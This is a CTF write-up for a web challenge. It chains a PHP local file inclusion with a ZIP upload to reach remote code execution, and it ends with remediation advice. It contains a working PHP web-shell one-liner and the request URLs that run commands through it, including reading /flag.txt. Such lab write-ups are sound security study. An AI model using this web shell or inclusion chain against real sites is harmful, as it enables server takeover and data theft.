September 22, 2026
Handle With Care — SkillBit CTF Writeup
When a ZIP File Turns Out to Be PHP Code — Zay’s Zipper Repair

By Amatairasu
3 min read
When a ZIP File Turns Out to Be PHP Code — Zay's Zipper Repair
How I spent two days looking for Zip Slip, only to discover that the real attack was a simple LFI + file upload chain.
The Challenge
The target was a small website called Zay's Zipper Repair that allowed users to upload ZIP files.
The URL immediately caught my attention:
https://4f9d3029c6c2c913.live.sbhost.io/?p=upload.phphttps://4f9d3029c6c2c913.live.sbhost.io/?p=upload.php
Whenever I see parameters like page=, file=, view=, or p=, I usually test for Local File Inclusion (LFI).
But I didn't start there.
My Struggle
The challenge was centered around ZIP files, so I immediately assumed the vulnerability had something to do with the ZIP itself.
I spent a lot of time trying:
- ../ path traversal inside ZIP filenames
- ZIP symlinks
- Nested ZIP files
- ZIP bombs
- Different Zip Slip payloads
Nothing worked.
The application even specifically mentioned that symbolic links were blocked.
After wasting a good amount of time, I realized I was focusing too much on the word ZIP.
The important question wasn't:
"How can I exploit the ZIP?"
It was:
"What happens after the ZIP is uploaded?"
That changed everything.
Step 1 — Finding the LFI
I started testing the p parameter.
For example:
/?p=home.php
/?p=upload.php/?p=home.php
/?p=upload.phpThen I tried the PHP filter wrapper:
/?p=php://filter/convert.base64-encode/resource=upload.php/?p=php://filter/convert.base64-encode/resource=upload.phpThe application rejected it, but the error message gave me useful information:
/var/www/html/index.php/var/www/html/index.phpIt also revealed that the application was calling include() around line 19.
The logic looked roughly like this:
$page = $_GET['p'] ?? 'home.php';
if (/* validation */) {
die("Invalid page parameter.");
}
include($page);$page = $_GET['p'] ?? 'home.php';
if (/* validation */) {
die("Invalid page parameter.");
}
include($page);The application blocked wrappers such as php://, but normal relative paths were still accepted.
So I had an LFI.
Step 2 — Looking at the ZIP Upload
The application allowed me to upload a ZIP:
File uploaded successfully as uploads/payload_XXXX.zipFile uploaded successfully as uploads/payload_XXXX.zipThe application checked for symbolic links, but it didn't properly restrict the content of the uploaded archive.
That gave me an idea:
What if I put PHP code inside the ZIP?
I created a simple PHP payload:
echo '<?php system($_GET["c"]); ?>' > shell.txt
zip payload.zip shell.txtecho '<?php system($_GET["c"]); ?>' > shell.txt
zip payload.zip shell.txtThen I uploaded payload.zip.
Step 3 — The Important PHP Concept
At first I thought:
"But the file is
.zip. How would PHP execute it?"
The important thing is that include() does not require a .php extension.
When PHP includes a file, it processes its contents as PHP source. It looks for PHP opening tags such as:
<?php<?phpSo a file like this can be executed:
test.txttest.txtif it contains:
<?php system($_GET["c"]); ?><?php system($_GET["c"]); ?>The same applies to other file extensions.
The ZIP file is not being extracted by include(). PHP is simply reading the ZIP's raw bytes as a file. The ZIP's binary data is treated as normal output, while the embedded <?php ... ?> section is interpreted as PHP code.
That was the key to the challenge.
Step 4 — Include the Uploaded ZIP
After uploading the malicious ZIP, I used the LFI:
/?p=uploads/payload_XXXX.zip/?p=uploads/payload_XXXX.zipThe application started showing ZIP data followed by a PHP error:
Warning: Undefined array key "c"
Fatal error: system(): Argument #1 ($command) must not be emptyWarning: Undefined array key "c"
Fatal error: system(): Argument #1 ($command) must not be emptyThat was the confirmation I needed.
My PHP code inside the ZIP had actually executed.
LFI + uploaded PHP content = RCE.
Step 5 — Execute Commands
Now I could provide the c parameter:
/?p=uploads/payload_XXXX.zip&c=id/?p=uploads/payload_XXXX.zip&c=idFor example:
/?p=uploads/payload_XXXX.zip&c=id/?p=uploads/payload_XXXX.zip&c=idThen:
/?p=uploads/payload_XXXX.zip&c=ls+-la+//?p=uploads/payload_XXXX.zip&c=ls+-la+/And finally:
/?p=uploads/payload_XXXX.zip&c=cat+/flag.txt/?p=uploads/payload_XXXX.zip&c=cat+/flag.txtThe flag was captured.
MetaCTF{w3ll_z1pp1ty_d00_4_y0u}MetaCTF{w3ll_z1pp1ty_d00_4_y0u}The Exploit Chain
The whole attack can be summarized as:
Create PHP payload
↓
Put payload inside ZIP
↓
Upload ZIP
↓
Find uploaded ZIP path
↓
Use LFI to include ZIP
↓
PHP parses embedded <?php ?> code
↓
Remote Code Execution
↓
Read flagCreate PHP payload
↓
Put payload inside ZIP
↓
Upload ZIP
↓
Find uploaded ZIP path
↓
Use LFI to include ZIP
↓
PHP parses embedded <?php ?> code
↓
Remote Code Execution
↓
Read flagThe interesting part is that the ZIP itself wasn't the vulnerability.
It was simply the delivery method for attacker-controlled PHP code.
Why the Bugs Worked Together
The upload alone wasn't enough because the file was just stored on the server.
The LFI alone wasn't enough because I needed attacker-controlled content to include.
Together:
Arbitrary file upload
+
Local File Inclusion
=
Remote Code ExecutionArbitrary file upload
+
Local File Inclusion
=
Remote Code ExecutionThat's the main lesson I took from this challenge.
Remediation
A few things would prevent this attack:
- Never use user-controlled input directly in
include(). - Use a strict allowlist instead:
$pages = [ 'home' => 'home.php', 'upload' => 'upload.php' ]; include($pages[$_GET['p'] ?? 'home'] ?? 'home.php');$pages = [ 'home' => 'home.php', 'upload' => 'upload.php' ]; include($pages[$_GET['p'] ?? 'home'] ?? 'home.php');- Store uploaded files outside the web root whenever possible.
- Do not allow server-side code execution in upload directories.
- Validate ZIP contents and reject dangerous paths, symlinks, and unexpected file types.
- Treat
disable_functionssuch assystem()as defense-in-depth, not as the primary fix.
What I Learned
The biggest lesson wasn't a new tool or payload.
It was learning not to get tunnel vision.
I spent two days thinking:
"It's a ZIP challenge, so the vulnerability must be Zip Slip."
It wasn't.
Once I started looking at the entire application, I found the p parameter, identified the LFI, and then asked what would happen if I could make PHP include my own content.
That led to the final chain:
ZIP Upload → LFI → PHP Parsing → RCEZIP Upload → LFI → PHP Parsing → RCESometimes the biggest breakthrough in a CTF isn't finding a new exploit.
It's asking a different question.
TL;DR
PHP payload
↓
ZIP upload
↓
LFI
↓
include() reads ZIP
↓
Embedded <?php ?> is parsed
↓
RCE
↓
FlagPHP payload
↓
ZIP upload
↓
LFI
↓
include() reads ZIP
↓
Embedded <?php ?> is parsed
↓
RCE
↓
FlagThe ZIP wasn't the weapon. It was the postman.
Tags:
#CTF #WebSecurity #LFI #FileUpload #PHP #RCE #CyberSecurity #BugBounty